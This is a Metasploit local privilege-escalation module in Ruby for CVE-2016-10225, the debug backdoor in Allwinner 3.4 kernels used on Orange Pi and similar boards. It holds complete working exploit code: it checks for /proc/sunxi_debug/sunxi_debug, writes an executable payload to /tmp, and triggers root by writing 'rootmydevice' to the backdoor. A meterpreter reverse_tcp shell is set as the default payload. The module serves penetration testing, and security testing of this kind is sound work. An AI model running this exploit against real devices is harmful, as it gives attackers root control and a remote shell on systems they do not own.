bcoles
91 lines
2.9 KiB
Ruby
91 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Allwinner 3.4 Legacy Kernel Local Privilege Escalation',
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'Description' => %q{
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This module attempts to exploit a debug backdoor privilege escalation in
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Allwinner SoC based devices.
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Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4.
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Vulnerable OS: all OS images available for Orange Pis,
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any for FriendlyARM's NanoPi M1,
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SinoVoip's M2+ and M3,
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Cuebietech's Cubietruck +
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Linksprite's pcDuino8 Uno.
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Exploitation may be possible against Dragon (x10) and Allwinner Android tablets.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'h00die <mike@stcyrsecurity.com>', # Module
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'KotCzarny' # Discovery
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],
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'Platform' => [ 'android', 'linux' ],
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'DisclosureDate' => '2016-04-30',
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'DefaultOptions' => {
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'payload' => 'linux/armle/meterpreter/reverse_tcp'
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},
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'Privileged' => true,
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'Arch' => ARCH_ARMLE,
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'References' => [
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[ 'CVE', '2016-10225' ],
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[ 'URL', 'http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/'],
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[
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'URL', 'https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:' \
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'https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us'
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],
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[ 'URL', 'http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390']
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],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [
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[ 'Auto', {} ]
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],
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'Notes' => {
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'Reliability' => [ REPEATABLE_SESSION ],
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK ]
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},
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'DefaultTarget' => 0
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)
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)
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end
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def check
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backdoor = '/proc/sunxi_debug/sunxi_debug'
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if file_exist?(backdoor)
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return CheckCode::Appears("#{backdoor} exists")
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end
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CheckCode::Safe("Backdoor #{backdoor} not found")
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end
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def exploit
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backdoor = '/proc/sunxi_debug/sunxi_debug'
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fail_with(Failure::NotVulnerable, "Backdoor #{backdoor} not found.") unless file_exist?(backdoor)
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pl = generate_payload_exe
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exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
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vprint_good "Backdoor Found, writing payload to #{exe_file}"
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write_file(exe_file, pl)
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cmd_exec("chmod +x #{exe_file}")
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vprint_good('Escalating')
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cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
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end
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end
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